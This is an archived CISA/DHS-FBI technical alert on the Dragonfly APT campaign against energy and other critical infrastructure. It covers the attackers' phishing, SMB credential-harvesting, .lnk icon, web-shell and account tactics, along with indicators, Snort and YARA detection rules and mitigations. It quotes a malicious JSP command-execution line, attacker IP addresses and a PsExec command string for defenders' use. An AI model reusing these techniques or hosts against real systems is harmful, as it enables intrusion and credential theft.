Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors | CISA

Published: 2018-03-15 · Archived: 2026-04-06 01:26:16 UTC

Systems Affected

- Domain Controllers
- File Servers
- Email Servers

Overview

This alert has been superseded by newer information. The old alert is provided below for historical reference only. For the newest version, please see TA18-074A.

This joint Technical Alert (TA) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). This alert provides information on advanced persistent threat (APT) actions targeting government entities and organizations in the energy, nuclear, water, aviation, and critical manufacturing sectors. Working with U.S. and international partners, DHS and FBI identified victims in these sectors. This report contains indicators of compromise (IOCs) and technical details on the tactics, techniques, and procedures (TTPs) used by APT actors on compromised victims' networks.

DHS assesses this activity as a multi-stage intrusion campaign by threat actors targeting low security and small networks to gain access and move laterally to networks of major, high value asset owners within the energy sector. Based on malware analysis and observed IOCs, DHS has confidence that this campaign is still ongoing, and threat actors are actively pursuing their ultimate objectives over a long-term campaign. The intent of this product is to educate network defenders and enable them to identify and reduce exposure to malicious activity.

For a downloadable copy of IOC packages and associated files, see:

- TA17-293A_TLP_WHITE.csv
- TA17-293A_TLP_WHITE_stix.xml
- MIFR-10127623_TLP_WHITE.pdf
- MIFR-10127623_TLP_WHITE_stix.xml
- MIFR-10128327_TLP_WHITE.pdf
- MIFR-10128327_TLP_WHITE_stix.xml
- MIFR-10128336_TLP_WHITE.pdf
- MIFR-10128336_TLP_WHITE_stix.xml
- MIFR-10128830_TLP_WHITE.pdf
- MIFR-10128830_TLP_WHITE_stix.xml
- MIFR-10128883_TLP_WHITE.pdf
- MIFR-10128883_TLP_WHITE_stix.xml
- MIFR-10135300_TLP_WHITE.pdf
- MIFR-10135300_TLP_WHITE_stix.xml

Contact DHS or law enforcement immediately to report an intrusion and to request incident response resources or technical assistance.

Since at least May 2017, threat actors have targeted government entities and the energy, water, aviation, nuclear, and critical manufacturing sectors, and, in some cases, have leveraged their capabilities to compromise victims' networks. Historically, cyber threat actors have targeted the energy sector with various results, ranging from cyber espionage to the ability to disrupt

energy systems in the event of a hostile conflict. [1] Historically, threat actors have also targeted other critical infrastructure sectors with similar campaigns.

Analysis by DHS, FBI, and trusted partners has identified distinct indicators and behaviors related to this activity. Of specific note, the report Dragonfly: Western energy sector targeted by sophisticated attack group, released by Symantec on September 6, 2017, provides additional information about this ongoing campaign. [2]

This campaign comprises two distinct categories of victims: staging and intended targets. The initial victims are peripheral organizations such as trusted third party suppliers with less secure networks. The initial victims are referred to as "staging targets" throughout this alert. The threat actor uses the staging targets' networks as pivot points and malware repositories when targeting their final intended victims. The ultimate objective of the cyber threat actors is to compromise organizational networks, which are referred throughout this alert as "intended target."

Technical Details

The threat actors in this campaign employed a variety of TTPs, including:

- open-source reconnaissance,
- spear-phishing emails (from compromised legitimate accounts),
- watering-hole domains,
- host-based exploitation,
- industrial control system (ICS) infrastructure targeting, and
- ongoing credential gathering.

Using Cyber Kill Chain for Analysis

DHS leveraged the Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. Phases of the model include reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on the objective. This section will provide a high-level overview of activity within this framework.

Stage 1: Reconnaissance

The threat actors appear to have deliberately chosen the organizations they targeted, rather than pursuing them as targets of opportunity. Staging targets held preexisting relationships with many of the intended targets. It is known that threat actors are actively accessing publicly available information hosted by organization-monitored networks. DHS further assesses that threat actors are seeking to identify information pertaining to network and organizational design, as well as control system capabilities, within organizations.

Forensic analysis identified that threat actors are conducting open-source reconnaissance of their targets, gathering information posted on company-controlled websites. This is a common tactic for collecting the information needed for targeted spear-phishing attempts. In some cases, information posted to company websites, especially information that may appear to be innocuous, may contain operationally sensitive information. As an example, the threat actors downloaded a small photo from a publically accessible human resources page. The image, when expanded, was a high-resolution photo that displayed control systems equipment models and status information in the background.

Analysis also revealed that the threat actors used compromised staging target networks to conduct open-source reconnaissance to identify potential targets of interest and intended targets. "Targets of interest" refers to organizations that DHS observed the threat actors showing an active interest in, but where no compromise was reported. Specifically, the threat actors accessed publically web-based remote access infrastructure such as websites, remote email access portals, and virtual private network (VPN) connections.

Stage 2: Weaponization

Spear-Phishing Email TTPs

Throughout the spear-phishing campaign, threat actors used email attachments to leverage legitimate Microsoft Office functions to retrieve a document from a remote server using the Server Message Block (SMB) protocol. (An example of this request is: file[:]//<remote IP address>/Normal.dotm). As a part of the standard processes executed by Microsoft Word, this request authenticates the client with the server, sending the user's credential hash to the remote server prior to retrieving the requested file. (Note: It is not necessary for the file to be retrieved for the transfer of credentials to occur.) The threat actors then likely used password-cracking techniques to obtain the plaintext password. Once actors obtain valid credentials, they are able to masquerade as authorized users.

Stage 3: Delivery

When seeking to compromise the target network, threat actors used a spear-phishing email campaign that differed from previously reported TTPs. The spear-phishing email used a generic contract agreement theme, with the subject line "AGREEMENT & Confidential", and which contained a generic PDF document, titled "''document.pdf". (Note the inclusion of two single apostrophes at the beginning of the attachment name.) The PDF itself was not malicious and did not contain any active code. The document prompted the user to click on a link should a download not automatically begin. (Note: No code within the PDF initiated a download.) The link directs users to a website via a shortened URL, which may prompt them to retrieve a malicious file.

In previous reporting, DHS and FBI identified the common themes used in these spear-phishing emails, all emails referred to control systems or process control systems. The threat actors continue to use these themes, specifically against intended target organizations. Email messages include references to common industrial control equipment and protocols. The emails leveraged malicious Microsoft Word attachments that appear to be legitimate résumés or curricula vitae (CVs) for industrial control systems personnel, as well as invitations and policy documents that entice the user to open the attachment. The list of file names has been published in the IOC.

Stage 4: Exploitation

Threat actors used distinct and unusual TTPs (i.e., successive redirects) in the phishing campaign directed at staging targets. Emails contained a stacked URL-shortening link that directed the user to http://bit[.]ly/2m0x8IH link, which redirected the user to http://tinyurl[.]com/h3sdqck link, which redirected the user to the ultimate destination of http://imageliners[.]com/nitel. The imageliner[.]com website contained an email address and password input fields mimicking a login page for a website.

When exploiting the intended targets, threat actors used malicious .docx files to capture user credentials, however, DHS did not observe the actors establishing persistence on the user's system. The documents attempt to retrieve a file through a "file:\\" connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139 and User Datagram Protocol (UDP) ports 137 or 138. This connection is made to a command and control (C2) server — either a server owned by the threat actors or that of a compromised system owned by a staging location victim. When a user is authenticated as a domain user, this will provide the C2 server with the hash of the victim. Local users will receive a graphical user interface (GUI) prompt to enter a username and password. This information will be provided to the C2 over TCP ports 445 or 139 and UDP ports 137 or 138. (Note: A file transfer is not necessary for a loss of credential information.) Symantec's report associates this behavior to the Dragonfly threat actors in this campaign. [3]

Use of Watering Hole Domains

One of the threat actors' primary uses for staging targets is to develop watering holes. The threat actors compromise the infrastructure of trusted organizations to reach intended targets. [4] Although these watering holes may host legitimate content by reputable organizations, the threat actors have altered them to contain and reference malicious content. Approximately half of the known watering holes are trade publications and informational websites related to process control, ICS, or critical infrastructure.

Using a similar SMB collection technique, the actors manipulated these websites by altering JavaScript and PHP files that redirect to an IP address on port 445 for credential harvesting. The compromised sites include both custom developed web applications and template-based frameworks. The threat actors injected a line of code into header.php, a legitimate PHP file that carried out the redirected traffic.

There is no indication that threat actors used zero-day exploits to manipulate the sites; the threat actors more likely used legitimate credentials to access the website content directly.

Stage 5: Installation

The threat actors leveraged compromised credentials to access victims' networks where multi-factor authentication is not used. [5] Once inside of an intended target's network, the threat actors downloaded tools from a remote server. The initial versions of the file names contained .txt extensions and were renamed to the appropriate extension, typically .exe or .zip.

In one example, after gaining remote access to the network of an intended victim, the threat actor carried out the following actions:

- The threat actor connected to 91.183.104[.]150 and downloaded multiple files, specifically the file INST.txt.
- The files were renamed to new extensions, with INST.txt being renamed INST.exe.
- The files were executed on the host and then immediately deleted.
- The execution of INST.exe triggered a download of ntdll.exe, and shortly after, ntdll.exe appeared in the running process list of a compromised system of an intended target.

In their report on Dragonfly, Symantec associated the MD5 hash of INST.exe to Backdoor.Goodor. The MD5 hashes for the previously mentioned files can be found in the IOC list above.

Several of these files were scripts that were used for creating the initial account leveraged by the threat actors. The initial script symantec_help.jsp contained a one-line reference to a malicious script. It was located at C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\.

Contents of symantec_help.jsp

```
<% Runtime.getRuntime().exec("cmd /C \"" + System.getProperty("user.dir") + "\\..\\webapps\\ROOT\\<REDACTED SCRIPT NAME>\""); %>
```

The malicious script created a user account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group for elevated privileges. This script contained hard-coded values for the group name "administrator" in Spanish, Italian, German, French, and English.

In addition, the threat actors also created a scheduled task "reset", which was designed to automatically log out of their newly created account every eight hours.

Contents of Scheduled Task

```
<?xml version="1.0" encoding="UTF-16"?>

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">

 <RegistrationInfo>

  <Date>2017-06-25T11:51:17.4848488</Date>

  <Author><REDACTED></Author>

 </RegistrationInfo>

 <Triggers>
```

```
 <TimeTrigger>
  <StartBoundary>2017-06-25T12:30:29</StartBoundary>
  <Enabled>true</Enabled>
 </TimeTrigger>
</Triggers>
<Principals>
 <Principal id="Author">
  <RunLevel>LeastPrivilege</RunLevel>
  <UserId><REDACTED USERNAME></UserId>
  <LogonType>InteractiveToken</LogonType>
 </Principal>
</Principals>
<Settings>
 <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
 <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
 <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
 <AllowHardTerminate>true</AllowHardTerminate>
 <StartWhenAvailable>false</StartWhenAvailable>
 <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
 <IdleSettings>
  <StopOnIdleEnd>true</StopOnIdleEnd>
  <RestartOnIdle>false</RestartOnIdle>
 </IdleSettings>
 <AllowStartOnDemand>true</AllowStartOnDemand>
 <Enabled>true</Enabled>
 <Hidden>false</Hidden>
 <RunOnlyIfIdle>false</RunOnlyIfIdle>
 <WakeToRun>false</WakeToRun>
 <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
 <Priority>7</Priority>
</Settings>
<Actions Context="Author">
```

```
 <Exec>
  <Command>logoff</Command>
 </Exec>
</Actions>
</Task>
```

After achieving access to staging targets, the threat actors installed tools to carry out their mission. On one occasion, threat actors installed the free version of Forticlient, which was presumably used as a VPN client for intended targets.

Consistent with the perceived goal of credential harvesting, the threat actor was observed dropping and executing open source and free tools such as Hydra, SecretsDump, and CrackMapExec. The naming convention and download locations suggest that these files were downloaded directly from publically available locations such as GitHub. Forensic analysis indicates that many of these tools were executed during the timeframe in which the threat actor was accessing the system. Of note, the threat actor installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\Users\<Redacted Username>\Desktop\OWAExchange\. In the previous folder structure, a subfolder named “out” held multiple text files.

Persistence Through .LNK File Manipulation

The threat actors manipulated .lnk files to repeatedly gather user credentials. Default Windows functionality enables icons to be loaded from a local Windows repository. The threat actors exploited this built-in Windows functionality by setting the icon path to their remote controlled server. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user’s credentials are passed through the attempted SMB connection. The threat actors used this tactic in both Virtual Desktop Infrastructure (VDI) and traditional environments.

Three of the observed .lnk files were SETROUTE.lnk, notepad.exe.lnk, and Document.lnk. These names appear to be contextual, and threat actors may use a variety of other file names within this tactic. Two of the remote servers observed in these .lnk files were 62.8.193[.]206 and 5.153.58[.]45.

Establishing Local Accounts

The threat actors created accounts on the staging target for ongoing operations. These accounts, masquerading as legitimate service accounts, appeared to be tailored to each individual staging target. Each account created by the threat actors served a specific purpose in their operation. DHS and FBI identified the creation of four local accounts on a compromised server. The server operated as both a domain controller and an email server for a staging target.

Account 1: The threat actors created a local account, which was named to mimic backup services of the staging target. This account was created by the aforementioned malicious script. The threat actors used this account to conduct open-source reconnaissance and remotely access intended targets. This account was also used to remove the Forticlient software.

Account 2: Account 1 was used to create Account 2 to impersonate an email administration account. The only observed action was to create Account 3.

Account 3: The threat actors created Account 3 in the staging victim’s Microsoft Exchange Server. A PowerShell script created this account during an RDP session while the threat actor was authenticated as Account 2. The naming conventions of the created Microsoft Exchange account followed that of the staging target (e.g., first initial concatenated with the last name).

Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete the following logs: system, security, terminal services, remote services, and

audit. Registry analysis indicated that this activity was likely scripted.

Stage 6: Command and Control

The threat actors commonly use web shells to compromise publically available servers to gain a foothold into internal networks. This activity has been observed on both web and email servers. The threat actors then establish an encrypted connection over port 443 to the web shell. Once connected, the threat actors download additional malicious files from the threat actors' servers to the publically available server. Two of the web shells (AutoDiscover.aspx and global.aspx) used by the actors are detailed in the accompanying IOC list. Despite having different file names, the MD5 hashes of the two web shells indicated that the two files were the same file. These web shells have been associated with the ciklon_z webshell.

DHS and FBI identified the threat actors leveraging remote access services and infrastructure, such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used staging targets to connect to several intended targets, effectively turning the staging targets into command and control points. To date, it is presumed that the threat actors have targeted services that use single-factor authentication. DHS believes that the threat actors employ this methodology to avoid detection and attribution.

Targeting of ICS and SCADA Infrastructure

Upon gaining access to intended victims, the threat actors conducted reconnaissance operations within the network. Specifically, the threat actors focused on identifying and browsing file servers within the intended victim's network. The threat actors viewed files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems. Based on DHS analysis of existing compromises, these files were originally named containing ICS vendor names and ICS reference documents pertaining to the organization (e.g., "SCADA WIRING DIAGRAM.pdf" or "SCADA PANEL LAYOUTS.xlsx").

In one instance, the threat actors accessed workstations and servers on a corporate network that contained data output from control systems within energy generation facilities. In this same incident, the threat actors created a malicious scheduled task that invoked "scr.exe" with the arguments "scr.jpg". The MD5 hash of scr.exe matched the MD5 of ScreenUtil, a tool used by the threat actor, as reported in the Symantec Dragonfly 2.0 report.

Detection and Response

IOCs related to this campaign are provided within the accompanying .csv and .stix files of this alert. DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, network signatures, and YARA rules provided and add the IPs to their watchlist to determine whether malicious activity has been observed within their organization. System owners are also advised to run the YARA tool on any system suspected to have been targeted by these APT actors.

Network Signatures and Host-Based Rules

This section contains network signatures and host-based rules that can be used to detect malicious activity associated with threat actors TTPs. Although these network signatures and host-based rules were created using a comprehensive vetting process, the possibility of false positives always remains.

Network Signatures

```
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains
'/aspnet_client/system_web/4_0_30319/update/' (Beacon)"; sid:42000000; rev:1; flow:established,to_server;
content:"/aspnet_client/system_web/4_0_30319/update/"; http_uri; fast_pattern:only; classtype:bad-unknown;
metadata:service http;)
```

```
-----------------------------------
```

```
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/img/bson021.dat'";
sid:42000001; rev:1; flow:established,to_server; content:"/img/bson021.dat"; http_uri; fast_pattern:only;
```

```
classtype:bad-unknown; metadata:service http;)

_____

 alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/A56WY' (Callback)";
sid:42000002; rev:1; flow:established,to_server; content:"/A56WY"; http_uri; fast_pattern; classtype:bad-
unknown; metadata:service http;)

_____

 alert tcp any any -> any 445 (msg:"SMB Client Request contains 'AME_ICON.PNG' (SMB credential harvesting)";
sid:42000003; rev:1; flow:established,to_server; content:"|FF|SMB|75 00 00 00 00|"; offset:4; depth:9;
content:"|08 00 01 00|"; distance:3; content:"|00 5c 5c|"; distance:2; within:3; content:"|5c|AME_ICON.PNG";
distance:7; fast_pattern; classtype:bad-unknown; metadata:service netbios-ssn;)

_____

 alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI OPTIONS contains '/ame_icon.png' (SMB
credential harvesting)"; sid:42000004; rev:1; flow:established,to_server; content:"/ame_icon.png"; http_uri;
fast_pattern:only; content:"OPTIONS"; nocase; http_method; classtype:bad-unknown; metadata:service http;)

_____

 alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP Client Header contains 'User-Agent|3a 20|Go-
http-client/1.1'"; sid:42000005; rev:1; flow:established,to_server; content:"User-Agent|3a 20|Go-http-
client/1.1|0d 0a|Accept-Encoding|3a 20|gzip"; http_header; fast_pattern:only; pcre:"/\.(?:aspx|txt)\?[a-z0-9]
{3}=[a-z0-9]{32}&/U"; classtype:bad-unknown; metadata:service http;)

_____

 alert tcp $EXTERNAL_NET [139,445] -> $HOME_NET any (msg:"SMB Server Traffic contains NTLM-Authenticated SMBv1
Session"; sid:42000006; rev:1; flow:established,to_client; content:"|ff 53 4d 42 72 00 00 00 00 80|";
fast_pattern:only; content:"|05 00|"; distance:23; classtype:bad-unknown; metadata:service netbios-ssn;)
```

YARA Rules

This is a consolidated rule set for malware associated with, consisting of rules written by US-CERT, as well as contributions by trusted partners.

```
*/

rule APT_malware_1

{

meta:

      description = "inveigh pen testing tools & related artifacts"

      author = "US-CERT Code Analysis Team"

      date = "2017/07/17"

      hash0 = "61C909D2F625223DB2FB858BBDF42A76"

      hash1 = "A07AA521E7CAFB360294E56969EDA5D6"

      hash2 = "BA756DD64C1147515BA2298B6A760260"
```

```
        hash3 = "8943E71A8C73B5E343AA9D2E19002373"
        hash4 = "04738CA02F59A5CD394998A99FCD9613"
        hash5 = "038A97B4E2F37F34B255F0643E49FC9D"
        hash6 = "65A1A73253F04354886F375B59550B46"
        hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"
        hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"
        hash9 = "722154A36F32BA10E98020A8AD758A7A"
        hash10 = "4595DBE00A538DF127E0079294C87DA0"
    strings:
        $s0 = "file://"
        $s1 = "/ame_icon.png"
        $s2 = "184.154.150.66"
        $s3 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }
        $s4 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }
        $s5 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"
        $s6 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
        $s7 = "VXNESWJfSjY3grKEkEkRuZeSvkE="
        $s8 = "NlZzSZk="
        $s9 = "WlJTb1q5kaxqZaRnser3sw=="
        $s10 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
        $s11 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"
        $s12 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"
        $s13 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }
        $s14 = {
68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C696379206279706173202D636F6D6D616E6420222E202E5C496E76656967
}
        $s15 = { 476F206275696C642049443A2022666264333739376231633134653065306531 }
    //inveigh pentesting tools
        $s16 = {
24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65
}
    //specific malicious word document PK archive
        $s17 = {
2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }
```

```
        $s18 = {
6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B000104000000000400000008D90B94E03311086EBF014D6F4D87B4821
}

        $s19 = {
8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }

        $s20 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }

        $s21 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }

        $s22 = "5.153.58.45"

        $s23 = "62.8.193.206"

        $s24 = "/1/ree_stat/p"

        $s25 = "/icon.png"

        $s26 = "/pshare1/icon"

        $s27 = "/notepad.png"

        $s28 = "/pic.png"

        $s29 = "http://bit.ly/2m0x8IH"

condition:

        ($s0 and $s1 or $s2) or ($s3 or $s4) or ($s5 and $s6 or $s7 and $s8 and $s9) or ($s10 and $s11) or ($s12
and $s13) or ($s14) or ($s15) or ($s16) or ($s17) or ($s18) or ($s19) or ($s20) or ($s21) or ($s0 and $s22 or
$s24) or ($s0 and $s22 or $s25) or ($s0 and $s23 or $s26) or ($s0 and $s22 or $s27) or ($s0 and $s23 or $s28)
or ($s29)

}

rule APT_malware_2

{

meta:

        description = "rule detects malware"

        author = "other"

strings:

        $api_hash = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }

        $http_push = "X-mode: push" nocase

        $http_pop = "X-mode: pop" nocase

condition:

        any of them

}

rule Query_XML_Code_MAL_DOC_PT_2
```

```
{
	meta:
		name= "Query_XML_Code_MAL_DOC_PT_2"
		author = "other"
	strings:
		$zip_magic = { 50 4b 03 04 }
		$dir1 = "word/_rels/settings.xml.rels"
		$bytes = {8c 90 cd 4e eb 30 10 85 d7}
	condition:
		$zip_magic at 0 and $dir1 and $bytes
}
rule Query_Javascript_Decode_Function
{
meta:
	name= "Query_Javascript_Decode_Function"
	author = "other"
strings:
	$decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}
	$decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}
	$decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}
	$decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}
	$func_call="a(\""
condition:
	filesize < 20KB and #func_call > 20 and all of ($decode*)
}
rule Query_XML_Code_MAL_DOC
{
meta:
	name= "Query_XML_Code_MAL_DOC"
```

```
        author = "other"
strings:
        $zip_magic = { 50 4b 03 04 }
        $dir = "word/_rels/" ascii
        $dir2 = "word/theme/theme1.xml" ascii
        $style = "word/styles.xml" ascii
condition:
        $zip_magic at 0 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd
}
```

Impact

This APT actor's campaign has affected multiple organizations in the energy, nuclear, water, aviation, construction, and critical manufacturing sectors.

Solution

DHS and FBI encourage network users and administrators to use the following detection and prevention guidelines to help defend against this activity.

Network and Host-based Signatures

DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, and YARA and Snort signatures provided and add the IPs to their watch list to determine whether malicious activity is occurring within their organization. Reviewing network perimeter netflow will help determine whether a network has experienced suspicious activity. Network defenders and malware analysts should use the YARA and Snort signatures provided in the associated YARA and .txt file to identify malicious activity.

Detections and Prevention Measures

- Users and administrators can detect spear phishing, watering hole, web shell, and remote access activity by comparing all IP addresses and domain names listed in the IOC packages to the following locations:
    - network intrusion detection system/network intrusion protection system logs,
    - web content logs,
    - proxy server logs,
    - domain name server resolution logs,
    - packet capture (PCAP) repositories,
    - firewall logs,
    - workstation Internet browsing history logs,
    - host-based intrusion detection system /host-based intrusion prevention system (HIPS) logs,
    - data loss prevention logs,
    - exchange server logs,
    - user mailboxes,
    - mail filter logs,
    - mail content logs,
    - AV mail logs,
    - OWA logs,
    - Blackberry Enterprise Server logs, and

    - Mobile Device Management logs.
- To detect the presence of web shells on external-facing servers, compare IP addresses, filenames, and file hashes listed in the IOC packages with the following locations:
    - application logs,
    - IIS/Apache logs,
    - file system,
    - intrusion detection system/ intrusion prevention system logs,
    - PCAP repositories,
    - firewall logs, and
    - reverse proxy.
- Detect spear-phishing by searching workstation file systems, as well as network-based user directories, for attachment filenames and hashes found in the IOC packages.
- Detect persistence in VDI environments by searching file shares containing user profiles for all .lnk files.
- Detect evasion techniques by the threat actors by identifying deleted logs. This can be done by reviewing last-seen entries and by searching for event 104 on Windows system logs.
- Detect persistence by reviewing all administrator accounts on systems to identify unauthorized accounts, especially those created recently.
- Detect the malicious use of legitimate credentials by reviewing the access times of remotely accessible systems for all users. Any unusual login times should be reviewed by the account owners.
- Detect the malicious use of legitimate credentials by validating all remote desktop and VPN sessions of any user's credentials suspected to be compromised.
- Detect spear-phishing by searching OWA logs for all IP addresses listed in the IOC packages.
- Detect spear-phishing through a network by validating all new email accounts created on mail servers, especially those with external user access.
- Detect persistence on servers by searching system logs for all filenames listed in the IOC packages.
- Detect lateral movement and privilege escalation by searching PowerShell logs for all filenames ending in ".ps1" contained in the IOC packages. (Note: requires PowerShell version 5, and PowerShell logging must be enabled prior to the activity.)
- Detect persistence by reviewing all installed applications on critical systems for unauthorized applications, specifically note FortiClient VPN and Python 2.7.
- Detect persistence by searching for the value of "REG_DWORD 100" at registry location "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal". Services\MaxInstanceCount" and the value of "REG_DWORD 1" at location "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\dontdisplaylastusername".
- Detect installation by searching all proxy logs for downloads from URIs without domain names.

General Best Practices Applicable to this Campaign:

- Prevent external communication of all versions of SMB and related protocols at the network boundary by blocking TCP ports 139 and 445 with related UDP port 137. See the NCCIC/US-CERT publication on SMB Security Best Practices for more information.
- Block the Web-based Distributed Authoring and Versioning (WebDAV) protocol on border gateway devices on the network.
- Monitor VPN logs for abnormal activity (e.g., off-hour logins, unauthorized IP address logins, and multiple concurrent logins).
- Deploy web and email filters on the network. Configure these devices to scan for known bad domain names, sources, and addresses; block these before receiving and downloading messages. This action will help to reduce the attack surface at the network's first level of defense. Scan all emails, attachments, and downloads (both on the host and at the mail gateway) with a reputable anti-virus solution that includes cloud reputation services.
- Segment any critical networks or control systems from business systems and networks according to industry best practices.
- Ensure adequate logging and visibility on ingress and egress points.

- Ensure the use of PowerShell version 5, with enhanced logging enabled. Older versions of PowerShell do not provide adequate logging of the PowerShell commands an attacker may have executed. Enable PowerShell module logging, script block logging, and transcription. Send the associated logs to a centralized log repository for monitoring and analysis. See the FireEye blog post Greater Visibility through PowerShell Logging for more information.
- Implement the prevention, detection, and mitigation strategies outlined in the NCCIC/US-CERT Alert TA15-314A – Compromised Web Servers and Web Shells – Threat Awareness and Guidance.
- Establish a training mechanism to inform end users on proper email and web usage, highlighting current information and analysis, and including common indicators of phishing. End users should have clear instructions on how to report unusual or suspicious emails.
- Implement application directory whitelisting. System administrators may implement application or application directory whitelisting through Microsoft Software Restriction Policy, AppLocker, or similar software. Safe defaults allow applications to run from PROGRAMFILES, PROGRAMFILES(X86), SYSTEM32, and any ICS software folders. All other locations should be disallowed unless an exception is granted.
- Block RDP connections originating from untrusted external addresses unless an exception exists; routinely review exceptions on a regular basis for validity.
- Store system logs of mission critical systems for at least one year within a security information event management tool.
- Ensure applications are configured to log the proper level of detail for an incident response investigation.
- Consider implementing HIPS or other controls to prevent unauthorized code execution.
- Establish least-privilege controls.
- Reduce the number of Active Directory domain and enterprise administrator accounts.
- Based on the suspected level of compromise, reset all user, administrator, and service account credentials across all local and domain systems.
- Establish a password policy to require complex passwords for all users.
- Ensure that accounts for network administration do not have external connectivity.
- Ensure that network administrators use non-privileged accounts for email and Internet access.
- Use two-factor authentication for all authentication, with special emphasis on any external-facing interfaces and high-risk environments (e.g., remote access, privileged access, and access to sensitive data).
- Implement a process for logging and auditing activities conducted by privileged accounts.
- Enable logging and alerting on privilege escalations and role changes.
- Periodically conduct searches of publically available information to ensure no sensitive information has been disclosed. Review photographs and documents for sensitive data that may have inadvertently been included.
- Assign sufficient personnel to review logs, including records of alerts.
- Complete independent security (as opposed to compliance) risk review.
- Create and participate in information sharing programs.
- Create and maintain network and system documentation to aid in timely incident response. Documentation should include network diagrams, asset owners, type of asset, and an incident response plan.

Report Notice

DHS encourages recipients who identify the use of tools or techniques discussed in this document to report information to DHS or law enforcement immediately. To request incident response resources or technical assistance, contact CISA Central at contact@mail.cisa.dhs.gov or 1-844-Say-CISA.

References

[2] Symantec. Dragonfly: Western energy sector targeted by sophisticated attack group. September 6, 2017.

[2] Symantec. Dragonfly: Western energy sector targeted by sophisticated attack group. September 6, 2017.

[5] MIFR-10127623

Revisions

October 20, 2017: Initial version|March 15, 2018: Updated to provide guidance that this alert has been superseded by newer information.
